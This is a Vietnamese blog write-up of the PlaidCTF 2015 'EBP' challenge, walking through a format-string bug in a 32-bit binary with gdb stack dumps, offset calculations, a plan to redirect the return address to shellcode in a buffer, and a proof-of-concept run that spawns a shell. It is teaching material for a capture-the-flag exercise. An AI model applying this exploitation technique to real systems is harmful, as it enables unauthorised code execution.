Thứ Sáu, 25 tháng 11, 2016

[Writeup] PlaidCTF CTF 2015: EBP

Bài này cũ rồi nhưng mình thấy hay thì mình writeup thôi.

$ file ebp
ebp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=4e8094f9986968cd856db5093810badbb0749fde, not stripped

Test:
$ ./ebp
phieulang
phieulang

%p%p%p
0xa0x1(nil)
=> Format string.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial
------------------------------------------------------------------
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax@3

  while ( 1 )
  {
    result = fgets(buf, 1024, stdin);
    if ( !result )
      break;
    echo();
  }
  return result;
}
------------------------------------------------------------------
int echo()
{
  make_response();
  puts(response);
  return fflush(stdout);
}
------------------------------------------------------------------
int make_response()
{
  return snprintf(response, 1024u, buf);
}
------------------------------------------------------------------
.bss:0804A080 ; char buf[1024]
.bss:0804A080 buf             db 400h dup(?)          ; DATA XREF: make_response+6 o
.bss:0804A080                                         ; main+21 o
.bss:0804A480                 public response
.bss:0804A480 ; char response[1024]
.bss:0804A480 response        db 400h dup(?) 

Payload được dùng tới 1024 bytes (khá thoải mái).
buf (format) ở BSS nên ta sẽ không tìm được offset tới buf để format string theo cách thông thường được.

NX disable => Hướng giải quyết là sẽ ghi shellcode lên buf (RELRO : Partial => địa chỉ cố định ở BSS) sau đó cho EIP nhảy về shellcode.

Ghi shellcode lên buf thì dễ rồi (tạm bỏ qua).
Control EIP nhảy về buf:
  • Ghi đè ret?
  • Ghi đè GOT?
  • Ghi đè _fini_array?
Mình không break được vòng lặp ở main => loại phương án ghi đè _fini_array (bạn nào break được thì chỉ mình với).


=> 0x804851a <make_response+29>:        call   0x80483f0 <snprintf@plt>
Breakpoint 1, 0x0804851a in make_response ()
gdb-peda$ x/30wx $esp
0xffffd170:     0x0804a480      0x00000400      0x0804a080      0x0000000a
0xffffd180:     0x00000001      0x00000000      0xffffd1a8      0x0804852c (echo+11)
0xffffd190:     0xf7fc3ac0      0xf7ff04c0      0xffffd1f4      0xf7fc3000
0xffffd1a0:     0x00000000      0x00000000      0xffffd1c8      0x08048557 (main+16)
0xffffd1b0:     0x0804a080      0x00000400      0xf7fc3c20      0xf7fc3000
0xffffd1c0:     0x08048580      0x00000000      0x00000000      0xf7e31af3 (__libc_start_main+243)

Như vậy ta không tìm được bất kì địa chỉ GOT hay địa chỉ ret của hàm nào trong stack (0xffffd18c, 0xffffd1ac, 0xffffd1cc).
Nhưng ta được input nhiều lần => ghi đè nhiều lần để tạo ra được địa chỉ ret hoặc GOT trong stack.


Theo hướng ghi đè ret:
- Trong stack ta cần 1 con trỏ trỏ tới 1 vùng nhớ trên stack. (đã có 0xffffd180 -> 0xffffd1a8). Để leak địa chỉ con trỏ, format string hoàn toàn có thể leak được dễ dàng.
gdb-peda$ x/30wx $esp
0xffffd170:     0x0804a480      0x00000400      0x0804a080      0x0000000a
0xffffd180:     0x00000001      0x00000000      0xffffd1a8      0x0804852c (echo+11)
0xffffd190:     0xf7fc3ac0      0xf7ff04c0      0xffffd1f4      0xf7fc3000
0xffffd1a0:     0x00000000      0x00000000      0xffffd1c8      0x08048557 (main+16)
0xffffd1b0:     0x0804a080      0x00000400      0xf7fc3c20      0xf7fc3000
0xffffd1c0:     0x08048580      0x00000000      0x00000000      0xf7e31af3 (__libc_start_main+243)
- Ta thay đổi giá trị con trỏ để trỏ về địa chỉ ret. (0xffffd1a8 -> 0xffffd1ac (ret_of_echo) )
gdb-peda$ x/30wx $esp
0xffffd170:     0x0804a480      0x00000400      0x0804a080      0x0000000a
0xffffd180:     0x00000001      0x00000000      0xffffd1a8      0x0804852c (echo+11)
0xffffd190:     0xf7fc3ac0      0xf7ff04c0      0xffffd1f4      0xf7fc3000
0xffffd1a0:     0x00000000      0x00000000      0xffffd1ac      0x08048557 (main+16)
0xffffd1b0:     0x0804a080      0x00000400      0xf7fc3c20      0xf7fc3000
0xffffd1c0:     0x08048580      0x00000000      0x00000000      0xf7e31af3 (__libc_start_main+243)
- Ta tiếp tục thay đổi giá trị của địa chỉ ret về buf. (0xffffd1ac -> buf  0x0804A080)
gdb-peda$ x/30wx $esp
0xffffd170:     0x0804a480      0x00000400      0x0804a080      0x0000000a
0xffffd180:     0x00000001      0x00000000      0xffffd1a8      0x0804852c (echo+11)
0xffffd190:     0xf7fc3ac0      0xf7ff04c0      0xffffd1f4      0xf7fc3000
0xffffd1a0:     0x00000000      0x00000000      0xffffd1ac      0x0804A080 (buf)
0xffffd1b0:     0x0804a080      0x00000400      0xf7fc3c20      0xf7fc3000
0xffffd1c0:     0x08048580      0x00000000      0x00000000      0xf7e31af3 (__libc_start_main+243)

Mỗi lần ta chỉ cần ghi 2 bytes là đủ.
Vậy là xong ý tưởng.

Cách tính offset thì ta tính từ buf trở đi:
buf 0x0804a080 tại 0xffffd17c
0xffffd1a8 tại 0xffffd18c => offset = (0xffffd18c-0xffffd17c)/4 = 4

0xffffd1c8 tại 0xffffd1ac => offset = (0xffffd1ac-0xffffd17c)/4 = 12

POC:
$ python ebp.py
[+] Opening connection to 127.0.0.1 on port 8888: Done
debug?
[*] Switching to interactive mode

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               
1���Qh//shh/bin\x89�
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              
$ id
uid=1000(phieulang) gid=1000(phieulang) groups=1000(phieulang),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),110(sambashare)
$  

Full Payload: ebp.py